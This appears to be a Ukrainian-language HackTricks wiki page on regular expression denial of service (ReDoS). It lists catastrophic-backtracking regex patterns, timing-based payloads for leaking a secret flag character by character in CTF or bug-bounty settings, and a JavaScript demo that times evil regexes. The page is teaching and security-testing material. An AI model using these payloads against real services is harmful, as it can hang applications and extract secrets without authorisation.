Регулярний вираз Відмова в обслуговуванні - ReDoS
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Регулярний вираз Відмова в обслуговуванні (ReDoS)
Регулярний вираз Відмова в обслуговуванні (ReDoS) відбувається, коли хтось використовує слабкості в тому, як працюють регулярні вирази (спосіб пошуку та зіставлення шаблонів у тексті). Іноді, коли використовуються регулярні вирази, вони можуть ставати дуже повільними, особливо якщо обсяг тексту, з яким вони працюють, збільшується. Ця повільність може настільки погіршитися, що зростає дуже швидко навіть при незначних збільшеннях розміру тексту. Зловмисники можуть використовувати цю проблему, щоб змусити програму, яка використовує регулярні вирази, перестати працювати належним чином на тривалий час.
Проблемний алгоритм Regex Naïve
Перевірте деталі в https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS
Злі Regexes
Злий шаблон регулярного виразу - це той, який може застрягти на створеному вводі, викликаючи DoS. Злі шаблони регулярних виразів зазвичай містять групування з повторенням і повторення або чергування з перекриттям всередині повторюваної групи. Деякі приклади злих шаблонів включають:
- (a+)+
- ([a-zA-Z]+)*
- (a|aa)+
- (a|a?)+
- (.*a){x} для x > 10
Усі вони вразливі до вводу aaaaaaaaaaaaaaaaaaaaaaaa!
.
ReDoS Пейлоади
Витік рядка через ReDoS
У CTF (або програмі винагороди за помилки) ви, можливо, контролюєте Regex, з яким збігається чутлива інформація (прапор). Тоді може бути корисно змусити сторінку зависнути (тайм-аут або тривалий час обробки), якщо Regex збігся і не якщо не збігся. Таким чином, ви зможете викрасти рядок символ за символом:
- У цьому пості ви можете знайти це правило ReDoS:
^(?=<flag>)((.*)*)*salt$
- Приклад:
^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
- У цьому звіті ви можете знайти це:
<flag>(((((((.*)*)*)*)*)*)*)!
- У цьому звіті він використав:
^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$
ReDoS Контроль вводу та Regex
Наступні є прикладами ReDoS, де ви контролюєте як ввід, так і regex:
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
;[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
Інструменти
Посилання
- https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS
- https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
- https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html
- https://ctftime.org/writeup/25869
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.